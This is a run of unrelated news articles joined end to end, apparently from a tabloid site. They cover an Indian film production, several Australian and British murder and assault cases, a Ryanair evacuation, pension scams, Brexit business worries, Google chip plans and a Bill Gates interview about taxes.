SS Rajamouli's Answer For Bunch Of Speculations:- SS Rajamouli is undoubtedly the top director of Indian cinema and his vision, passion made Telugu cinema reach international standards. His next film RRR is hot in trade and is carrying huge expectations. NTR and Ram Charan are the lead actors in this big budget high voltage action entertainer. Right from the cast, crew, budget, release date and shooting updates, there are thousands of speculations all over. Even national media has been widely spreading news on their own about the cast members revealing that Rajamouli is looking for Bollywood actors to get RRR a pan Indian appeal.

Rajamouli has a strong team who conveys each and every news to the top director during his free time. The top director responds saying "Let them write, let them speculate" for any rumor written across web portals or social media. Rajamouli prefers to stand tight lipped and deliver his best work like every film rather than responding on the rumors. There are talks that Alia Bhatt is the one of the female leds and Ajay Devgn is picked up for a crucial role but there is no official confirmation as of now. A gossip portal recently wrote that the entire shoot of RRR will be completed by the end of this year but Team Rajamouli has no clarity about this as the next schedules are yet to be planned.

The shoot of RRR is going on a brisk pace in Ramoji Film City and the film will hit the screens some time next year.An elderly woman is dead and a man has been rushed to hospital following a domestic violence incident north of Brisbane.

Emergency services were called to a home in Topaz Drive in Mango Hill following a triple zero call at around 1pm on Thursday afternoon.

Police found the body of a woman aged in her 70s when they arrived a short time later.

Topaz Street (pictured) in Mango Hill, north of Brisbane has been taped off after a woman's body was found at a home

'A male in his 40s, known to the woman, was also located at the scene and had significant injuries,' a Queensland Police statement said.

The man was taken to Royal Brisbane Women's Hospital for treatment of self-inflicted wounds.

A Queensland Ambulance Service spokesman described it as 'serious domestic violence incident'.

Aerial footage of the tragic scene shows a large part of the street taped off as forensic investigators examine the property.

Forensic police are examining the scene of a domestic violence incident

A large bloodstain can be seen outside the front door of the home, the ABC reported.

Police say they're not seeking any further suspects at this time.

Mango Hill State School is near the scene and advised parents on its Facebook page to avoid Topaz Drive during pick-up.

'If your child is walking home via Topaz Drive, police will walk them through the blocked off area and safely to the other side. Staff members are on Topaz Drive assisting police,' the post states.

'There is no threat to the school or the public.'

Police were called to the tragic scene at 1pm on Thursday afternoon

Resident Shirley Anderson was shocked to hear what happened.

'It really is a lovely area  it's just wrong. It's just unbelievable. It's so sad,' she told the ABC.

Police are expected to provide a update later on Thursday.

Anyone with information in relation to the incident should call Policelink on 131 444.

If you or anyone around you is struggling and/or seeking support, call Lifeline on 13 11 14 or beyondblue on 1300 224 636.A 26-year-old man has been charged with murder over the suspicious death of a toddler last month.

Emergency crews were called to a house at Tarro, in the Hunter region of NSW, on June 19 after reports a 20-month-old girl was in cardiac arrest.

The young girl was rushed to John Hunter Hospital but was unable to be revived.

She suffered horrific injuries to her torso, head and internal organs.

The man was in a de-facto relationship with the toddler's mother and had recently moved in to the family's home, according to the ABC.

A man has been charged in relation to the suspicious death of a toddler seven weeks ago

Police arrested the 26-year-old man (pictured centre) at a Tanilba Bay home on Thursday

At about 8.30am on Thursday, homicide detectives swooped on a home in the nearby town on Tanilba Bay, where they arrested the heavily-tattooed 26-year-old man.

He was taken to Raymond Terrace Police Station where he was charged with murder.

Photos from the arrest show police knocking on the door the home before placing handcuffs on the man, who was wearing a gold crucifix necklace and had a shaved head.

Detective Wayne Wolpole who led the investigation into the man's arrest had come after a special task force was set up to investigate the young girl's death.

'As a result of inquiries, Strike Force Nerium was formed with homicide investigators from Sydney and detectives from Port Stevens/Hunter police district,' he said shortly before the man was charged.

The man was taken to Raymond Terrace Police Station where he was charged with murder

'Those investigations have been ongoing since that night and this morning at 8.30am it resulted in the arrest.

'That male has been brought to Raymond Terrace Police Station he is currently in the process of being charged with the murder of that little girl.'

Detective Walpole said the man was due to face Newcastle Local Court on Friday and police were hoping to have any application for bail refused.Borce Ristevski will go to trial charged with the murder of his wife Karen.

Ristevski, 54, allegedly killed his dress shop-owner wife, 47, at their Avondale Heights home in Melbourne on June 29, 2016 before dumping her body in the bush.

Over almost two weeks in July, Ristevski faced a high-profile committal hearing in Melbourne Magistrates Court to determine whether he would go to trial.

Ristevski has entered a not guilty plea to the murder charge, and will stand trial in the Supreme Court, Nine News reported.

Ristevski, 54, allegedly killed his dress shop-owner wife Karen, 47, at their Avondale Heights home in Melbourne on June 29, 2016 before dumping her body in the bush

Prosecutors allege Ristevski intended to kill his wife of 27 years (pictured) and then drove her remains to Mount Macedon Regional Park

Magistrate Suzanne Cameron found there was sufficient evidence that a jury could convict Ristevski, The Age reported.

Prosecutors allege Ristevski intended to kill his wife of 27 years and then drove her remains to Mount Macedon Regional Park, where her body was found eight months after she disappeared.

The cause of her death is yet to be determined, and Ristevski was charged with murder in December.

His lawyers conceded there was enough evidence for him to go to trial but believed it was insufficient for him to be charged with murder.

Ristevski told police he had argued with his wife about financial problems related to their clothing business Bella Bleu.

Prosecutors wanted a murder trial and alleged in court that Ristevski's behaviour after the alleged killing gives rise to the required intent, including hiding the body and lying to police and family.

'This isn't just an accidental killing,' prosecutor Matt Fisher said in closing submissions.

Dozens of witnesses testified during the hearing, including the couple's daughter Sarah Ristevski, who said her father was "never" aggressive towards her mother.

Ms Ristevski's skeletal remains were found between two logs at Macedon Regional Parkin by two horticulturalists who had noticed a strange smell.Samantha Fraser's former husband has been charged with her murder just hours after police released chilling CCTV footage of a hooded man detectives are 'very confident' killed the mother-of-three.

Investigators had been hunting Ms Fraser's killer after the 38-year-old's body was discovered in her garage on Phillip Island, south of Melbourne, last Monday.

Her 41-year-old ex-husband Adrian Basham, who had previously been questioned by detectives, was charged with one count of murder on Thursday morning.

Two hours earlier, police released CCTV footage showing a man lurking outside Ms Fraser's home and walking along her street between 9am and 12.02pm on the day of her alleged murder.

Ms Fraser arrived home at about 11.30am, police said. The man was seen in the footage running away from her property at around midday.

Police said they were investigating the possibility the hooded man was Basham.

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CCTV footage shows a hooded man lurking outside the home where mother-of-three Samantha Fraser was found dead

'It's one of the hypotheses we are looking at. [But] we don't know who that man is and that's why we're appealing to the public,' Detective Inspector Tim Day said in an earlier statement, adding he was as 'very confident' the man in the footage killed Ms Fraser.

The suspect was wearing a black hoodie with a distinctive dark blue band on the midriff and arms, dark pants and dark shoes.

Detectives also released footage of a motorcycle seen in the area and are looking at the possibility the suspect used it as a getaway vehicle.

Insp Day urged anyone who may have information about the identity of the man, the clothing or the motorcycle to come forward.

'At this stage we can't account for that man being in the street and are looking to find out who he is and why he was there,' he said.

'This sighting is of vital importance to this investigation.

Police said they were investigating the possibility the man in the CCTV footage was Basham (pictured)

Det Insp Day urged anyone who may have information about the identity of the man, the clothing or the motorcycle to come forward

'Detectives are also looking at whether he possibly bought the hoodie in the days or weeks before going to the property, which is why we're asking anyone who might recall selling a hoodie fitting this description to contact us.

'Any piece of information could be crucial in solving this murder.'

Insp Day described Ms Fraser's death as a 'crime that strikes the heart of our own humanity'.

'How does society reconcile the slaying of an innocent young mother in her family home, thus leaving her children abandoned at the gate of their local school, never to see their mother again?' he said.

'This sighting is of vital importance to this investigation,' police said of the CCTV footage. Ms Fraser is pictured

Detectives also released CCTV of a motorcycle seen in the area and are looking at the possibility the rider may be the same man captured lurking on Ms Fraser's street

Police initially believed Ms Fraser, a respected psychologist, had committed suicide.

Authorities were alerted when Ms Fraser didn't arrive to pick up her children from school in the afternoon.

A welfare check was conducted at her home on Seagrove Way, Cowes, where police found her dead.

Her death came as a shock to the local community, who were notified of the police investigation four days after her body was found.

A welfare check was conducted at her home on Seagrove Way, Cowes, where police found her dead in her garage (pictured)

Ms Fraser has been described by friends, family and colleagues as a 'beautiful woman'.

'She was incredibly kind, nurturing and talented. Sam was articulate and passionate about everything she did,' a friend told the Herald Sun.

Her father Trevor Fraser thanked hundreds of mourners who paid their respects at a vigil held in Cowes last week.

'There's really not much we can say at a time like this, [I'm] too emotional to have too much to say,' Mr Fraser said.

'She truly was a remarkable woman, a remarkable mother and a remarkable daughter. Thank you for standing up for Samantha.'

Police were alerted when Ms Fraser (pictured) didn't arrive to pick up her children from school in the afternoonHe made headlines as the fugitive gangster who taunted police on social media, saying: Catch me if you can.

Then it appeared as if convicted drug dealer Sam Walkers luck had run out when he was arrested at last.

But, unbelievably, he was released on bail. And yesterday the 35-year-old was sticking two fingers up at the law again after failing to turn up at court and promptly going on the run again.

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Reports suggest he is viewed as a 'hero' in Sierra Leone because he has helped with access to clean water. This picture was posted to Instagram in May

In a video posted on Facebook, Walker  who appears to have a black eye  claimed he was beaten by police following his arrest.

The saga began in May when Walker, who has more than 100 convictions, some for firearms offences, failed to appear in court in Cheshire to answer the relatively minor charge of driving while disqualified.

He used social media to taunt the authorities from West Africa, chronicling his escape from justice in a video he titled How to get out of the UK when youre wanted by police.

In a video posted on Facebook, Walker  who appears to have a black eye  claimed he was beaten by police following his arrest

It purported to show Walker, who feared he would be sent back to jail for breaching the driving ban, using private jets and hitching a lift on a cargo ship in a crime caper-style 5,000-mile trip to Sierra Leone, where he claimed to be doing charity work.

As Cheshire Police said they were investigating his non-appearance at court, Walker raised the stakes by sneaking back into Britain.

The publicity-seeking gangster, who has been in and out of prison since his teenage years, filmed himself criss-crossing Europe, the Middle East and North Africa in private planes, helicopters and speedboats. He claimed he took the unorthodox route to avoid border checks.

He was seen landing by helicopter in a field in northern England, before being driven away in a waiting car and spending the night in a 250-a-night Hilton hotel room overlooking the headquarters of Merseyside Police.

He filmed himself bragging: What would they do if they knew I was here? He also videoed himself in a car parked opposite Cheshire Police headquarters in Winsford, laughing on camera and saying: Catch me if you can.

On Sunday of last week, police finally thought they had got their man when they arrested Walker in Cronton, Merseyside.

Walker is no stranger to the high life, posting this picture outside Atlantis The Palm in Dubai in July 2017

But when he appeared before magistrates in Chester two days later, they granted bail. Walker was due before the court again yesterday but instead sent his solicitor with a doctors note, saying he was unfit for work/court.

Tammy Mitchell, prosecuting, suggested the note had been altered. She told magistrates: Look at the ink. The ink of /court is different to the ink of the doctors signature.

The court ruled that the note was unacceptable  and another warrant was issued for Walkers arrest. David Woods, representing Walker, claimed his client had contacted him on Tuesday to say he was unwell.

Walker, left in a helicopter on his return to the UK and right in Sierra Leone, came back to the UK via Italy, Spain and Portugal

He said Walker, who had been due to enter pleas to charges of driving while disqualified, driving with no insurance, obstructing a police officer and failing to attend bail, claimed he had been beaten in custody before his last appearance and suffered facial injuries.

Walker later insisted: The sick note is genuine. I went to the doctors for injuries sustained by the police when they arrested me.

I took the note from my GP and got someone to take it to my solicitor. He boasted that he would be returning to Sierra Leone to continue his charity work soon.

A Cheshire Police spokesman said: We are aware a warrant has been issued for his arrest and our inquiries are ongoing.

The Crown Prosecution Service failed to respond to requests for comment on why Walker had been granted bail last week.The family of murdered Anni Dewani talked of their pain today after it was revealed that her widower has begun a relationship with a man less than four years after he was cleared of killing her on their honeymoon.

Dewani, 38, has been enjoying holidays in Ibiza and India with Brazilian-born photographer Gledison Lopez Martins and has confirmed his new love on the internet.

Anni's father Vinod Hindocha said: 'He has been to Mumbai with his boyfriend and that hurts us greatly. That was the place that Anni married him.

I would have thought that he would keep that place in his heart especially for that memory.'

Millionaire care home boss Shrien Dewani, right, with new boyfriend Gledison Lopez Martins

The couple was pictured snuggling up during a holiday to Mumbai - where he married Anni

Anni, right, was 28 years old and only weeks into marriage when she was shot dead in 2010

Gledison Lopez Martins, Dewani's new lover, has apparently been accepted by the family

Anni Dewani's parents Mr and Mrs Hindocha spoke of their pain and fury to MailOnline

Dewani, a millionaire care home owner, walked free in 2014 after being found not guilty of masterminding the murder of the honeymoon bride who was gunned down in South Africa.

On the first day of his murder trial Annis unsuspecting family heard him confess to paying male prostitutes for sex.

They said Anni, 28, would never have married him had she been aware of his sexuality.

Today Mr Hindocha said: He kept his gay secret from my daughter and from her family. How could he have had it in his heart to do that? It was an utter disgrace.

Now I learn that he has fallen for another man. That is no surprise. I am not against gay people in any way at all. Just this man.

He has been to Mumbai with his boyfriend and that hurts us greatly. That was the place that Anni married him.

I would have thought that he would keep that place in his heart especially for that memory. But no. He goes there with his gay lover and parades him around. I hate that day he married her. And Ill never be able to see Mumbai with the same eyes.

He was even looking at gay websites while I sat in the hotel having gone to South Africa to help him and bring Annis body home.

We will never get Anni back and we will never recover from agreeing her marriage to this man. We miss her every minute of every day.

Annis uncle Ashok said: If hes been to Ibiza I hope he enjoyed the beaches.

My family and I will never be able to in the same way because Anni loved the beach and every time we have tried to go we have left in tears.

Her memory and the things she loved hurts us today and always will.

Shrien still hasnt made time to sit down and talk with us. My brother Vinod (Annis father) deserves to hear from his son-in-law and about how hes been able to move on.

We have not moved on or had a word from him. We accept he did not murder Anni, but he lied to us and had a very secret gay life. He owes us an apology for his lies.

We only came to know about him sleeping with men at his trial.

But if Shrien had told us the truth about his sexuality before the marriage, Anni would never have married him or gone to South Africa where she was shot dead.

The businessman - whose wife Anni Dewani was gunned down in a robbery in South Africa shortly after their wedding in 2010 - has been in a relationship with Brazilian-born photographer for about 18months.

The couple have recently holidayed on the Spanish party island of Ibiza and attended a fancy dress party. Dewani was photographed snuggling up with his new love as they enjoyed a holiday in India.

A picture that appears on Gledison Lopez Martins' professional photography website

Dewani, seated right,on the plane to Ibiza last week to enjoy a holiday with his boyfriend

The new couple, back, are seen posing with the Dewani family in a restaurant over Christmas

Dewanis family, who had no idea about his sexuality when he married Anni, appear to have accepted their sons new boyfriend.

His Brazilian lover, who has Spanish nationality, was invited to their family home for Christmas last year.

Dewanis parents, Shila and Prakash, are Facebook friends with Martins and the Dewani family has attended a fancy dress party with him.

The couple have posted several loved-up photographs and videos including a film taken on a train in India in which Dewani rests his head on Martins chest.

Martins has posted a portrait of Dewani on his website. He also uploaded a photograph of them, heads together, labelled 23 Oct 2017, Sant Josep de Sa Talaia', which is in a suburb of Ibiza.

On the first day of his Cape Town trial, Dewani revealed he had been visiting gay prostitutes and was bisexual.

Annis family said they had no clue he was romantically involved with men or had been paying for sex until his trial began.

During his engagement, Dewani told Annis father, Vinod Hindocha, that he did not want to have sex before marriage which made a good impression.

But later it was revealed that he had been paying a male prostitute known as the German Master for sex.

The Brazilian photographer poses casually while enjoying some Asian food

The man, whose real name was Leopold Leisser, was found hanged in September 2016 at his Birmingham home in what was believed to have been a suicide.

Dewani, who did not give evidence at his trial, has spoken publicly only once about his wifes murder, for which three men were later convicted.

In a letter to a London coroner in November 2016, he referred to the three convicted men as liars, stating that there had been an attempt to frame him.

He wrote: I would like to make clear that I have a significant number of questions which remain unanswered about the night that my wife and I were kidnapped and Anni was tragically shot after being taken away from me.

Each of the gang members did a deal with the authorities to gain either full immunity or vastly reduced sentences in return for providing evidence against me.

It is the evidence of these proven liars that led to a witch hunt against me and the resulting failure to pursue the truth of what happened that night.

It is clear that none of the evidence provided by these persons was corroborated in any meaningful way.

'This has allowed the individuals concerned to literally get away with murder. I understand and share the Hindocha (Anni) family's frustrations.

However the extent of my knowledge of the events leading up to Anni's murder has already been set out in a detailed publicly available plea. This document was read out in court at the start of my trial.

Dewani and his wife Anni pose happily for the camera before she was shot dead in 2010

Their wedding seemed to be a fairytale affair but just a few weeks later the bride was dead

Anni, a Swedish-raised engineer was 28 years old and only weeks into marriage when she was shot dead as the couple toured a rough suburb of Cape Town on November 13, 2010.

Three men - Zola Tongo, Mziwamadoda Qwabe and Xolile Mngeni  were given jail terms for their role in the killing.

They claimed Dewani arranged the hijacking in which he would survive and his wife would be killed, which he also strenuously denied.

The Cape Town judges ruled their evidence was flawed and the case was thrown out before Dewani could give evidence in the witness box.

The trial was riddled with delays while swathes of evidence were dismissed or considered irrelevant to the case.

He said his life was spared as the two gunmen forced him out of the vehicle at gunpoint, before murdering his new bride.

The trial was delayed for nearly four years after her death in 2010 while Dewani struggled to overcome mental health issues brought on by the trauma of his wifes murder.

He was extradited to face his accusers, but the judge stopped the case saying witnesses were lying and he was declared innocent.A new video has been released showing a man knocking an 18-year-old woman unconscious outside a nightclub with two savage punches.

The CCTV clip - provided by venue Faces in Ilford, East London - shows the man and woman arguing on the pavement next to a bus stop as several people surround them.

She then gets up close to the man and apparently begins pointing in his face before he leans back and strikes her with a powerful right hook, knocking her back slightly.

The man then hits her again, seemingly even harder, and sends her tumbling to the floor where she sprawls out unconscious. The man then walks away as a group of people follow him, while the woman is helped by a separate group.

Liam Holmes, 20, was marched to Ilford police station by his own mother yesterday to speak to officers about Saturday's 3am attack.

It came after Mr Holmes was today pictured on a bicycle as he purchased cigarettes after footage of his victim lying unconscious emerged.

Footage shows Mr Holmes locked in confrontation with an 18-year-old woman outside the nightclub, left, and today images surfaced of the thug buying cigarettes, right

Faces provided this footage, which shows even more of the argument outside the nightclub

Two women hold their faces in shock after Mr Holmes punches the 18-year-old twice and knocks her unconscious

The 20-year-old can be seen taking a swipe at the 18-year-old victim following the confrontation outside Faces

Faces provided the most recent footage, with a spokesperson telling MailOnline: 'Faces was closed when the incident happened and all security had gone home for the night.

'Faces has been working alongside the police in providing CCTV footage from the night and has released the CCTV exclusively to MailOnline in order to help the authorities conclude the case.'

His victim was out cold for five minutes after she confronted him about calling other girls 'fat c****'.

This afternoon's sighting follows a member of Mr Holmes' family claiming he became involved in the confrontation after he tried to stop girls who were allegedly vandalising a vehicle.

It came as family revealed today that Mr Holmes has never had a girlfriend, with a close relative telling The Sun his family think he is 'a decent lad'.

The source claims to have spoken to Mr Holmes' mother and said: A group of women were smashing up a car but that wasnt caught on film. He saw them and intervened. That doesnt make what he did right.

Liam did the right thing and handed himself in to police but this has caused his mum and gran untold stress.

There is no suggestion the woman who was punched was involved in the alleged damage to a car. Footage shows her knocked out and lying motionless on the pavement.

The horrifying confrontation is being treated as ABH by Scotland Yard - and Mr Holmes has been bailed as detectives investigate.

She said today: 'All I remember is being on the floor with blood everywhere', adding her mouth was left bleeding and her face is badly bruised.

Liam Holmes, 20, (left on the night in question) carried out the attack outside Faces nightclubs in Gants Hill, east London , MailOnline can reveal

This punches left the victim unconscious on the floor outside the east London nightclub at 3am on Saturday

She told The Sun: 'This guy was going round calling the women outside the club 'fat c****'. Him and another guy were backing a group of girls into a corner, saying they were going to hit them.

Holmes' mother said she wanted to see the CCTV in full to ascertain what prompted her son (pictured on the night) to hit the woman

'I told him he was in the wrong and he needed to walk away and be a gentleman and he lashed out'.

Another clubber there that night claims Holmes pestered her for a phone number - and became angry when she refused.

She said: 'He confrontational and verbally abusive when I refused to give him my number. Luckily I was with a large group of friends so it didnt escalate the way it potentially could have.

'His mother is saying he was provoked but I certainly didnt provoke him and I think I speak for all young woman out there when I say its outrageous that we can face such a threat by simply telling someone no'.

Holmes has been marched to the police station by his own mother who told MailOnline yesterday: 'He's no terror'.

Cathy Holmes, 53, who lives with her Arsenal fan son in east London and used to run a florists called 'Cathy's Flowers', said: 'People will judge him on the back of that video clip but he's no terror.

'I had a brain haemorrhage a while back and he's been my carer. He hardly goes out anymore and when he does this happens.'

During the nine-second clip the woman approaches Holmes and gets very close to his face as he stands with his arms folded.

The pair then exchange inaudible words before he smashes her in the face with his right fist.

Dazed by the punch the woman, wearing a black top and blue jeans, stumbles forward only to be hit again by the man, also in a black top and jeans. This shot leaves her unconscious on the floor near the nightclub.

Holmes' mother has defended her son (pictured) and she says the video looks bad but he was provoked

The attack is being treated as actual bodily harm, Metropolitan Police have confirmed to MailOnline.

Holmes was photographed outside Ilford Police Station yesterday after being interviewed by police.

A Met spokesman said: 'A 20-year-old man has been interviewed under caution in connection with an alleged assault after attending an east London police station voluntarily yesterday. He was subsequently released under investigation.

The alleged incident, which is being treated as actual bodily harm, took place outside Faces nightclub at 3am on Saturday. The female victim was taken to hospital for treatment, and subsequently discharged. Enquiries continue'.

Mr Holmes attended George Green's School and is from the Isle of Dogs.

His mother Cathy Holmes told MailOnline: 'The clip online showing him hitting the girl makes him look bad but that's only a fraction of the real story.

'There was a lot that went on before that clip that people don't know about. There was a lot that preceded it.

'He wouldn't do that for no reason. That's all I'll say for now because we're about to meet with our solicitor to go to the police station and give a statement.

'The police have assured me that they have the full CCTV footage so will know what went on beforehand.'

The pair then exchange inaudible words before he smashes her in the face with his right fist

The attack is being treated as gross bodily harm, Metropolitan Police have confirmed to MailOnline

Onlookers are heard to be saying 'oh my god' and gasping in shock as the camera cuts to a disturbing image of the woman lying face-up and motionless with her arms spread eagle

Onlookers are heard to be saying 'oh my god' and gasping in shock as the camera cuts to a disturbing image of the woman lying face-up and motionless with her arms spread eagle.

The victim was taken to hospital for treatment following the attack.

The video has since been widely shared online, including by Paul Henson on Facebook.

He wrote: 'Another little coward s*** bag outside Faces this weekend! Share this round hope he gets what's due to him!'

The video, posted today quickly gained more than 10,000 views and over 500 shares.

Lucy Gallop wrote: 'That is awful.'

Janet Jolley said: 'What a hard man!! I don't think. I hope he gets what's deserves, hope the young lady is OK.'

Roice Gummer added: 'He's a f****** scum bag who needs his head caving in and I really feel for her.

'But girls, if a bloke starts swinging - get the fu*k out of there!'

A Metropolitan police spokesman told MailOnline: 'Police in Redbridge are investigating after a woman was assaulted outside Faces nightclub on Cranbrook Road, IG2.

'The incident took place at approximately 03:00hrs on Saturday, 28 July. 'The victim was taken to hospital for treatment. The incident is being treated as GBH. No arrests have been made. Enquiries continue.'

Anyone with information or witnesses to the incident are asked to contact police on 0208 345 2669 quoting reference CAD1052/28.This is the dramatic moment panicked tourists on a Ryanair holiday jet to Ibiza exit via an emergency chute after a passenger's phone battery exploded and caught light as the plane was about to take off.

Holidaymakers could be seen falling over each other in a bid to get away from the aircraft as quickly as they could after the inflatable slide was activated.

The drama happened around 5.30pm today at Barcelona's El Prat Airport as the packed plane prepared to take off for Ibiza.

No-one needed medical attention although some passengers are said to have suffered slight burns as they slid down the emergency chute.

Footage taken by onlookers and other passengers who had already left the aircraft showed the moments of tension sparked by the plane filling up with smoke.

Travellers were taken to the airport's Terminal One while they waited to board another plane and their luggage transferred to the new flight.

Firefighters were not called upon to deal with the explosion.

The unnamed passenger whose mobile caught light is said to be from New Zealand.

The device is thought to have been in a suitcase in the hold above his seat.

A spokesman for Ryanair Spain said: 'The passengers of a flight from Barcelona to Ibiza were evacuated in an emergency at Barcelona's El Prat Airport because of a fire in a mobile phone that was being charged with an external battery.

This is the dramatic moment panicked tourists on a Ryanair holiday jet to Ibiza exit via an emergency chute after a passenger's mobile phone battery exploded and caught light as it was about to take off

Holidaymakers could be seen falling over each other in a bid to get away from the aircraft as quickly as they could after the inflatable slide was activated

'All the passengers were evacuated from the aircraft in a safe way to the terminal and the cabin crew took charge of the device.

'Ryanair is working to organise a replacement plane to re-accomodate the passengers as fast as possible.'

One relieved passenger said: 'Luckily it didn't happen when we were already on the runway.

'All the passengers were evacuated from the aircraft in a safe way to the terminal and the cabin crew took charge of the device' Ryanair said

'We were just over 100 feet away from the docking bay when the device exploded and smoke began to come out.

'Fortunately I was in the first row and I opened the emergency door before the pilot activated the chute.

Another passenger named as Jordi Vilagut told a Catalan TV station the incident had caused the aircraft to fill with smoke and some flames.

He said the evacuation had been more like a 'stampede' because of the cabin crew rushing to get passengers off the plane as soon as possible.'Pension savers are being targeted by multi-million- pound scams run by families of fraudsters that experts compare to television mobsters The Sopranos.

The organised crime groups are led by married couples, parents, their adult children and siblings, according to Project Bloom  the scam-fighting body set up in 2012 to tackle pension fraud.

In some cases the families have involved rogue accountants, financial advisers and experts with in-depth pension knowledge.

Bad role models: Experts are comparing families of fraudsters targeting pension savers to television mobsters The Sopranos

Project Bloom says it has 'evidence of criminal behaviour worth tens of millions of pounds'.

The unit is made up of organisations including regulators, the Department for Work and Pensions, HM Treasury and the National Crime Agency.

Conmen typically cold-call pensioners offering 'free pension reviews' and promises of high returns. They use high-pressure sales tactics to coerce savers into investing in fake schemes or simply steal the money.

Pension scam victims lost 91,000 each on average in 2017, although many lost much more. Two people lost savings of more than 1 million. In total, 253 savers reported losses of 23 million, although experts believe many cases are likely to have gone unreported.

Last month the Government banned pension cold-calling after a scourge of scams. Companies making unsolicited calls about pensions could now be fined 500,000 if they are not authorised by the Financial Conduct Authority, or if the savers they target hadn't dealt with them before.

Pension providers are now on the look-out for suspicious transfer requests from their members, according to the Pensions Scams Industry Group.

Tom Selby, from investment platform AJ Bell, says: 'While this might sound like a plot line from the Sopranos, the consequences of pension fraud can be devastating.

'It is vital people familiarise themselves with the signs of a scam. They should be wary when contacted out of the blue by someone they don't know offering investment 'opportunities' with outlandish returns.'

Steve Webb, director of policy at insurance firm Royal London and former pensions minister, says: 'Regulators and policy makers need to help vulnerable people be much more wary of offers which seem too good to be true.'

Pensions minister Guy Opperman says: 'We're determined to put a stop to the misery these crooks inflict, which is why we're supporting the work to stamp out pension theft.'

a.murray@dailymail.co.ukBritish businesses are still in the dark about what will happen to them if the UK leaves the European Union without a deal at the end of March, a leading business group has warned.

The British Chamber of Commerce said that, with less than 50 days until Brexit, firms in the UK do not have any answers on major issues, including which kind of trade agreements will be in place and how to transfer staff from the UK to the EU.

The organisation published a list of 20 'critical questions' that is says remain unanswered, such as what tariffs companies will need to pay on imported goods and if travel will be disrupted.

Brexit: There are still many key unanswered questions for a 'no-deal' scenario, the BCC said

It also said the Government had not made clear whether the new system to input custom data created by HM Revenue and Customs will actually be ready in time for the end of March.

Businesses still don't know if they will be able to employ people from outside the UK and if so, under what conditions, and whether UK staff who have to spend long periods of time in the EU will need a visa.

The BCC also raised the question of roaming charges, which thanks to EU regulation were axed two years ago. However, firms are unsure if they will have to start paying them again when staff are abroad if there's a no-deal Brexit.

The business lobby group argues that firms need to be given answers in order to sufficiently prepare for Brexit day and beyond.

Adam Marshall, director general of the BCC, said: 'In less than 50 days, UK firms could face the biggest change to their terms of trade in over a generation, without the information and clarity they need to navigate their forward course.

'There is a very real risk that a lack of clear, actionable information from Government will leave firms, their people and their communities hung out to dry.

Bank of England governor Mark Carney said Brexit could be the 'acid test' for the global economy

'Even those companies trying their hardest to get ready are still in the dark on important matters from contracts through to customs. Many others, who took the decision to wait for the political process to conclude before acting, would face sudden and costly adjustments if a deal is not reached.'

The group warned that investment and growth had already been 'stifled', leading to loss of business as customers look elsewhere.

'It is little wonder that many firms have been holding back on investment, stockpiling, and even opening offices and moving operations and jobs elsewhere,' Marshall added.

'The imperative remains to avoid a messy and disorderly exit on March 29, but businesses need answers they can base decisions on, no matter the outcome. The lack of clear, precise answers is now causing real damage to many businesses, and to the wider economy.'

The BCC warning came as figures by the Bank of England show business investment in the UK hasn't grown since the EU referendum was called and that the UK has dramatically underperformed both history and peers.

UK business investment has fallen 3.7% over the past year despite the ongoing expansion

In a speech in London yesterday Mark Carney said: 'Consider the UK as a leading indicator of a nascent global trend. UK business investment has fallen 3.7% over the past year despite the ongoing expansion, high business profitability and accommodative financial conditions.

'With fundamental uncertainty about future market access, UK investment hasn't grown since the referendum was called and has dramatically underperformed both history and peers'

However, Carney yesterday seemed to have changed his tone on Brexit, saying that Brexit could be the 'acid test' for the global economy.

'In many respects, Brexit is the first test of a new global order and could prove the acid test of whether a way can be found to broaden the benefits of openness while enhancing democratic accountability,' the governor said.

A Government spokesman said: 'The best way to support our economy, protects jobs and provide certainty for businesses and individuals as we leave is to back the deal we have agreed with the EU.

'We are focused on securing the necessary changes to ensure the deal passes through Parliament.'Google In Plans For Their Own Chips To Be Made In Bengaluru:- Bengaluru emerged as the major destination for various semiconductor industries to set up their bases in the city. Now, Google is in plans to join the list to manufacture the chips. The Reuters reported that Google hinted this through LinkedIn after they have been in search for positions to close their vacancies based in Bengaluru. Google entered into hardware market through Pixel Mobiles and Home speakers. Hence they are in plans to set up a manufacturing unit in India to design chips. These can be exported to the clients in and around India.

With the major rivals Apple and Samsung having their own chipset technology, Google too is in plans to emerge as a strong platform. Google is hiring employees from Qualcomm and Nvidia for their chip manufacturing unit based in Bengaluru's Silicon Valley. Most other chip making units of the US companies are limited to their home soil. As of now, Google kept things under wraps and they are in big plans that will be made official soon.Most of the world's wealthiest people have an instinctive aversion to paying tax  but not Bill Gates. Quite the opposite.

Despite stumping up what could be the most tax paid by any individual in history, the Microsoft founder- turned-philanthropist says it still wasn't enough.

'I have paid more than $10billion (7.75billion) in taxes but I should have paid more,' he says. 'I more than followed the law, but I think things should be more progressive.'

Philanthropists: Microsoft founder Bill Gates spends most of his time working at his Gates Foundation, which he established with his wife Melinda in 2000

Does he also think tech companies such as Amazon, Google, Apple  and indeed Microsoft  should pay more tax?

After all, there is a glaring contradiction between tech tycoons making huge philanthropic gifts while some of the companies they founded show no qualms in minimising their corporate tax bills.

Minimal tax payments in the UK made by companies like Amazon are perfectly legal, but they also deprive the Government of money it needs to pay for schools, hospitals and other services.

'You have to partition this into cases where companies are following the law and cases where they are not following the law,' says Gates.

'If they are not following the law you should throw the book at them and collect the taxes. If they are following the law and you want more tax, then you should change the law.'

Gates set up software giant Microsoft back in 1975 with the late Paul Allen, a friend since his schooldays, who died of cancer last autumn.

Until recently, when he was overtaken by Amazon founder Jeff Bezos, Gates was the world's richest man.

Worth an estimated $94billion (73billion), he has vowed to leave most of his vast wealth to good causes.

He is already giving away billions of dollars each year  more than $35billion (27billion) of his personal wealth to charitable causes  with the focus on improving health and fighting poverty.

Although he still acts as chairman and technology adviser at Microsoft, Gates stepped down from his daily job in 2008 and now spends most of his time working at his Gates Foundation, which he established with his wife Melinda in 2000.

Bill, 63, and Melinda, 54, have been married since 1994 and have three children, Jennifer, 22, Rory, 19 and Phoebe, 16.

Microsoft duo: A young Gates with the late Paul Allen

He has given this rare interview to coincide with the publication of the latest Annual Letter from the Foundation, which he and Melinda have jointly penned, setting out their most pressing concerns.

The foundation now has a fund of more than $50billion (38.8billion) and employs more than 1,500 staff.

It receives payments of more than $2billion (1.55billion) a year from the legendary investor Warren Buffett, a friend of Gates.

These are enormous sums to distribute and it makes me wonder whether Gates thinks he deserves his wealth.

'No I don't deserve it, nobody does,' he says. 'It has come through timing, luck, and through people I worked with.

'You know, I certainly worked hard and I think software has been a beneficial thing, but I benefited from a structure, too.'

Does he feel guilty about being so rich? 'The idea of giving back is not through guilt.

